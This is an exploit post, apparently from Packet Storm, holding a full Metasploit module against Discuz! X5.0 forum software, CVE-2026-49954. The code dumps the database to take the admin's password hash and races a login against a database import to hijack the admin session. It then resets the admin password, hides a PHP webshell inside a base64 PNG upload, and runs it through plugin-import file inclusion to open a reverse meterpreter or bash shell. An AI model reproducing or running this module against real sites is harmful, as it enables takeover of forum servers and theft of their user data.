Share
## https://sploitus.com/exploit?id=PACKETSTORM:223682
==================================================================================================================================
| # Title : Discuz! X5.0 Chained RCE via Race Condition |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.discuz.vip/ |
==================================================================================================================================
[+] Summary : This module exploits a vulnerabilities in Discuz! X5.0 to achieve Remote Code Execution.
[+] POc :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Capture # For OCR functionality
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Discuz! X5.0 Chained RCE via Race Condition + LFI',
'Description' => %q{
This module exploits a chain of vulnerabilities in Discuz! X5.0 to achieve
Remote Code Execution:
1. Race condition in the user authentication mechanism
2. Local File Inclusion (LFI) in plugin management
3. Arbitrary file upload via admin panel
The exploit first extracts the admin's username and MD5 hash by exporting
the database via an authenticated API endpoint. It then registers a
specially crafted user that allows password reset of the admin account
through a race condition attack. Once admin access is obtained, the
module uploads a PHP stager and triggers it via LFI to get RCE.
Tested successfully on Discuz! X5.0 releases 20260320 through 20260610.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-49954'],
['URL', 'https://karmainsecurity.com/KIS-2026-09'],
['URL', 'https://karmainsecurity.com/KIS-2026-10'],
['URL', 'https://karmainsecurity.com/KIS-2026-11'],
['URL', 'https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce']
],
'DisclosureDate' => '2026-06-15',
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
['PHP Stager', { 'Arch' => ARCH_PHP, 'Platform' => 'php', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } }],
['Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to Discuz! installation', '/']),
OptInt.new('RACE_SLEEP', [false, 'Sleep time between race attempts', 1]),
OptInt.new('MAX_RACE_ATTEMPTS', [false, 'Maximum race condition attempts', 10])
])
register_advanced_options([
OptBool.new('USE_OCR', [true, 'Attempt to solve CAPTCHA using OCR', true]),
OptString.new('OCR_TESSERACT_PATH', [false, 'Path to Tesseract OCR executable', 'tesseract'])
])
end
def setup_ocr
return unless datastore['USE_OCR']
begin
@tesseract_path = datastore['OCR_TESSERACT_PATH']
res = cmd_exec("#{@tesseract_path} --version 2>&1")
if res.include?('tesseract')
print_good("Tesseract OCR found")
@ocr_available = true
else
print_warning("Tesseract OCR not found, CAPTCHA may need manual solving")
@ocr_available = false
end
rescue
print_warning("OCR not available, CAPTCHA will fail")
@ocr_available = false
end
end
def solve_captcha(image_data)
return nil unless @ocr_available
temp_file = "#{Rex::Text.rand_text_alpha(8)}.png"
temp_path = File.join(Msf::Config.config_directory, temp_file)
begin
File.binwrite(temp_path, image_data)
res = cmd_exec("#{@tesseract_path} #{temp_path} stdout -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
res.strip.upcase
ensure
File.delete(temp_path) if File.exist?(temp_path)
end
end
def get_authcode(url, payload)
params = {
'username' => payload,
'password' => '1',
'lssubmit' => '1'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'member.php'),
'vars_get' => { 'mod' => 'logging', 'action' => 'login', 'loginsubmit' => 'yes' },
'vars_post' => params
})
if res && res.body =~ /auth=([^&]+)/
return Regexp.last_match(1)
end
nil
end
def register_special_user(url, admin_md5)
username = "#{admin_md5}\t1\t#{Rex::Text.rand_text_hex(4)}"
print_status("Registering special user: #{username}")
session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
sess_cookie = nil
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'member.php'),
'vars_get' => { 'mod' => 'register' }
})
unless res && res.body
fail_with(Failure::UnexpectedReply, "Failed to get registration page")
end
formhash = res.body.scan(/<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/).flatten.first
fail_with(Failure::UnexpectedReply, "Formhash not found") unless formhash
seccode = res.body.scan(/updateseccode\('([^']+)/).flatten.first
pwd_ids = res.body.scan(/<input\s+type="password"\s+id="([^"]+)"/).flatten
fields_ids = res.body.scan(/<input\s+type="text"\s+id="([^"]+)"/).flatten
fail_with(Failure::UnexpectedReply, "Expected 2 password fields, found #{pwd_ids.length}") if pwd_ids.length != 2
fail_with(Failure::UnexpectedReply, "Expected 2 fields, found #{fields_ids.length}") if fields_ids.length != 2
username_field, email_field = fields_ids
params = {
'regsubmit' => 'yes',
'formhash' => formhash,
'referer' => url,
username_field => username,
pwd_ids[0] => 'password',
pwd_ids[1] => 'password',
email_field => "#{Rex::Text.rand_text_hex(8)}@qq.com"
}
cookies = res.get_cookies
if seccode
print_status("CAPTCHA is enabled, solving...")
captcha_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'misc.php'),
'vars_get' => {
'mod' => 'seccode',
'action' => 'update',
'modid' => 'member::register',
'idhash' => seccode
}
})
if captcha_res && captcha_res.body =~ /update=(\d+)/
magic_number = Regexp.last_match(1)
img_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'misc.php'),
'vars_get' => {
'mod' => 'seccode',
'update' => magic_number,
'idhash' => seccode
}
})
if img_res && img_res.code == 200
seccodeverify = solve_captcha(img_res.body)
if seccodeverify
print_good("CAPTCHA solved: #{seccodeverify}")
verify_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'misc.php'),
'vars_get' => {
'mod' => 'seccode',
'action' => 'check',
'inajax' => '1',
'modid' => 'member::register',
'idhash' => seccode,
'secverify' => seccodeverify
}
})
if verify_res && verify_res.body.include?('succeed')
params['seccodehash'] = seccode
params['seccodemodid'] = 'member::register'
params['seccodeverify'] = seccodeverify
end
end
end
end
end
final_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'member.php'),
'vars_get' => { 'mod' => 'register', 'inajax' => '1' },
'cookie' => cookies,
'vars_post' => params
})
unless final_res && final_res.body.include?('succeedmessage')
fail_with(Failure::UnexpectedReply, "Failed to register user")
end
username
end
def race_condition_attack(url, username, import_url)
print_status("Performing race condition attack...")
session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'member.php'),
'vars_get' => { 'mod' => 'logging', 'action' => 'login' }
})
unless res && res.body
fail_with(Failure::UnexpectedReply, "Failed to get login page")
end
formhash = res.body.scan(/<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/).flatten.first
seccode = res.body.scan(/updateseccode\('([^']+)/).flatten.first
params = {
'formhash' => formhash,
'referer' => url,
'username' => username,
'password' => 'password',
'questionid' => '0'
}
cookies = res.get_cookies
if seccode
print_status("CAPTCHA present on login page")
captcha_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'misc.php'),
'vars_get' => {
'mod' => 'seccode',
'action' => 'update',
'modid' => 'member::logging',
'idhash' => seccode
}
})
if captcha_res && captcha_res.body =~ /update=(\d+)/
magic_number = Regexp.last_match(1)
img_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'misc.php'),
'vars_get' => {
'mod' => 'seccode',
'update' => magic_number,
'idhash' => seccode
}
})
if img_res && img_res.code == 200
seccodeverify = solve_captcha(img_res.body)
if seccodeverify
params['seccodehash'] = seccode
params['seccodemodid'] = 'member::logging'
params['seccodeverify'] = seccodeverify
end
end
end
end
race_thread = Thread.new do
Rex.sleep(0.1)
send_request_cgi({
'method' => 'GET',
'uri' => import_url,
'keep_cookies' => false
})
end
race_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'member.php'),
'vars_get' => { 'mod' => 'logging', 'action' => 'login', 'loginsubmit' => 'yes', 'inajax' => '1' },
'vars_post' => params,
'cookie' => cookies
})
race_thread.join
if race_res && race_res.body =~ /auth=([^&]+)/
return Regexp.last_match(1), race_res.get_cookies
end
nil
end
def reset_admin_password(url, admin_cookies)
print_status("Resetting admin password to 'hacked'")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'home.php'),
'vars_get' => { 'mod' => 'spacecp', 'ac' => 'account' },
'cookie' => admin_cookies
})
return unless res && res.body =~ /formhash=([^"]+)/
formhash = Regexp.last_match(1)
verify_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'home.php'),
'vars_get' => {
'mod' => 'spacecp',
'ac' => 'account',
'op' => 'verify',
'method' => 'chgpassword',
'formhash' => formhash,
'handlekey' => 'security_verify',
'inajax' => '1'
},
'cookie' => admin_cookies
})
if verify_res && verify_res.body =~ /idstring=([^&]+)/
idstring = Regexp.last_match(1)
sign = verify_res.body.scan(/sign=([^"]+)/).flatten.first
change_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'home.php'),
'vars_get' => {
'mod' => 'spacecp',
'ac' => 'account',
'op' => 'verify',
'method' => 'chgpassword',
'formhash' => formhash,
'idstring' => idstring,
'sign' => sign,
'infloat' => 'yes',
'handlekey' => 'chgpassword',
'inajax' => '1'
},
'cookie' => admin_cookies
})
if change_res && change_res.body =~ /action="([^"]+)/
change_path = Regexp.last_match(1).gsub('&', '&')
send_request_cgi({
'method' => 'POST',
'uri' => change_path,
'vars_post' => {
'formhash' => formhash,
'referer' => url,
'newpassword' => 'hacked',
'renewpassword' => 'hacked',
'submit' => 'true'
},
'cookie' => admin_cookies
})
end
end
end
def admincp_login(url, admin_username)
print_status("Logging into admin control panel")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'admin.php')
})
return unless res && res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
formhash = Regexp.last_match(1)
login_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'admin.php'),
'vars_post' => {
'formhash' => formhash,
'admin_username' => admin_username,
'admin_password' => 'hacked'
},
'allow_redirects' => false
})
return login_res.get_cookies if login_res && login_res.code == 302
nil
end
def upload_stager(url, admin_cookies)
print_status("Uploading PHP stager as PNG image")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
'cookie' => admin_cookies
})
return unless res && res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
formhash = Regexp.last_match(1)
stager_png = Base64.decode64(
"iVBORw0KGgoAAAANSUhEUgAAACUAAAAUCAMAAAA9ZgQ5AAAAb1BMVEU8P3BocCBmaWxlX3B1dF9jb250ZW50cygiZGF0YS9zaC5waHAiLCAiPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKFwkX1NFUlZFUlsnSFRUUF9DJ10pKTsgPz4iKTsgZGllKCJGTDRHISIpOyA/PiBjLWapAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAN0lEQVQokWNgIA4wMjGzsLKxc3BycfPw8vELCAoJi4iKiUtISknLyMrJKygqKasQadQoGAUDDgAXzQKbCPeK7gAAAABJRU5ErkJggg=="
)
data = Rex::MIME::Message.new
data.add_part(formhash, nil, nil, 'form-data; name="formhash"')
data.add_part('1', nil, nil, 'form-data; name="editsubmit"')
data.add_part(stager_png, 'image/png', 'binary', 'form-data; name="iconnew"; filename="image.png"')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
'cookie' => admin_cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
final_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
'cookie' => admin_cookies
})
if final_res && final_res.body =~ /value="data\/attachment\/common\/cf\/([^"]+)/
return Regexp.last_match(1)
end
nil
end
def execute_lfi(url, admin_cookies, stager_filename)
print_status("Importing fake plugin with LFI path")
plugin_id = "p_#{Rex::Text.rand_text_hex(8)}"
xml_data1 = %{
<root>
<item id="Title">Discuz! Plugin</item>
<item id="Data">
<item id="version">X5.0</item>
<item id="var">
<item id="config">
<item id="pluginvarid">1337</item>
</item>
</item>
<item id="plugin">
<item id="identifier">#{plugin_id}</item>
</item>
</item>
</root>
}
data1 = Rex::MIME::Message.new
data1.add_part('myrepeats', nil, nil, 'form-data; name="dir"')
data1.add_part(xml_data1.strip, 'application/xml', nil, 'form-data; name="importfile"; filename="importfile.xml"')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'plugins', 'operation' => 'import', 'importtype' => 'file', 'ignoreversion' => '1', 'installtype' => '' },
'cookie' => admin_cookies,
'ctype' => "multipart/form-data; boundary=#{data1.bound}",
'data' => data1.to_s
})
plugin_id2 = "p_#{Rex::Text.rand_text_hex(8)}"
xml_data2 = %{
<root>
<item id="Title">Discuz! Plugin</item>
<item id="Data">
<item id="version">X5.0</item>
<item id="var">
<item id="config">
<item id="pluginvarid">1337</item>
</item>
</item>
<item id="plugin">
<item id="directory">../../data/attachment/common/cf/</item>
<item id="identifier">#{plugin_id2}</item>
<item id="__modules">
<item id="extra">
<item id="enablefile">#{stager_filename}</item>
</item>
</item>
</item>
</item>
</root>
}
data2 = Rex::MIME::Message.new
data2.add_part('myrepeats', nil, nil, 'form-data; name="dir"')
data2.add_part(xml_data2.strip, 'application/xml', nil, 'form-data; name="importfile"; filename="importfile.xml"')
plugin_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'plugins', 'operation' => 'import', 'importtype' => 'file', 'ignoreversion' => '1', 'installtype' => '' },
'cookie' => admin_cookies,
'ctype' => "multipart/form-data; boundary=#{data2.bound}",
'data' => data2.to_s
})
return unless plugin_res && plugin_res.body =~ /`pluginid`='(\d+)/
plugin_id_num = Regexp.last_match(1)
form_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => { 'action' => 'plugins' },
'cookie' => admin_cookies
})
return unless form_res && form_res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
formhash = Regexp.last_match(1)
print_status("Triggering LFI to execute stager")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'admin.php'),
'vars_get' => {
'action' => 'plugins',
'operation' => 'enable',
'pluginid' => plugin_id_num,
'formhash' => formhash
},
'cookie' => admin_cookies
})
end
def execute_payload(url)
print_status("Launching webshell via data/sh.php")
while true
Rex.sleep(0.1)
cmd = "chdir('..'); system('#{payload.raw}');"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(url, 'data', 'sh.php'),
'headers' => { 'C' => Rex::Text.encode_base64(cmd) }
})
if res && res.code == 200
return true
end
Rex.sleep(1)
end
end
def extract_admin_info_from_backup(backup_data)
print_status("Searching for admin's username and MD5 password hash")
if backup_data =~ /common_member VALUES \('1',([^\)]+)/
parts = Regexp.last_match(1).split(',')
admin_username_hex = parts[1].strip[2..-1]
admin_md5_hex = parts[3].strip[2..-1]
admin_username = [admin_username_hex].pack('H*')
admin_md5 = [admin_md5_hex].pack('H*')
return admin_username, admin_md5
end
nil
end
def exploit
base_url = normalize_uri(target_uri.path)
print_status("Starting Discuz! X5.0 Chained RCE Exploit")
print_status("CVE-2026-49954 - Race Condition + LFI to RCE")
setup_ocr
print_status("Getting authcode for database export")
authcode = get_authcode(base_url, "method=export&time=9999999999&")
fail_with(Failure::UnexpectedReply, "Failed to get authcode") unless authcode
print_good("Authcode obtained: #{authcode}")
print_status("Exporting database")
export_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_url, 'api', 'db', 'dbbak.php'),
'vars_get' => { 'apptype' => 'discuzx', 'code' => authcode }
})
unless export_res && export_res.body =~ /(data\/backup_.+\.sql)/
fail_with(Failure::UnexpectedReply, "Failed to export database")
end
backup_file = Regexp.last_match(1)
print_good("Database backup: #{backup_file}")
print_status("Downloading database dump")
backup_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base_url, backup_file)
})
unless backup_res && backup_res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to download database backup")
end
admin_username, admin_md5 = extract_admin_info_from_backup(backup_res.body)
fail_with(Failure::UnexpectedReply, "Could not extract admin credentials") unless admin_username
print_good("Admin username: #{admin_username}")
print_good("Admin MD5 password hash: #{admin_md5}")
username = register_special_user(base_url, admin_md5)
print_good("Special user registered: #{username}")
backup_dir = backup_file.scan(%r{data/(backup_[^/]+)}).flatten.first
authcode_import = get_authcode(base_url, "method=import&time=9999999999&sqlpath=#{backup_dir}&")
import_url = normalize_uri(base_url, "api/db/dbbak.php?apptype=discuzx&code=#{authcode_import}")
result = nil
datastore['MAX_RACE_ATTEMPTS'].to_i.times do |attempt|
print_status("Race attempt ##{attempt + 1}")
result = race_condition_attack(base_url, username, import_url)
break if result
Rex.sleep(datastore['RACE_SLEEP'])
end
fail_with(Failure::UnexpectedReply, "Race condition attack failed") unless result
auth_cookie, login_cookies = result
print_good("Race condition successful!")
print_good("Admin auth cookie: #{auth_cookie}")
print_status("Waiting for database import to complete...")
while true
Rex.sleep(30)
res = send_request_cgi({
'method' => 'GET',
'uri' => base_url
})
break if res && res.code == 200
print_status("Still waiting...")
end
admin_cookies = login_cookies.dup
first_key = admin_cookies.keys.first
prefix = first_key.split('_')[0..1].join('_')
admin_cookies["#{prefix}_auth"] = auth_cookie
reset_admin_password(base_url, admin_cookies)
admincp_cookies = admincp_login(base_url, admin_username)
fail_with(Failure::UnexpectedReply, "Failed to login to admincp") unless admincp_cookies
stager_filename = upload_stager(base_url, admincp_cookies)
fail_with(Failure::UnexpectedReply, "Failed to upload stager") unless stager_filename
print_good("Stager uploaded: #{stager_filename}")
execute_lfi(base_url, admincp_cookies, stager_filename)
execute_payload(base_url)
handler
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================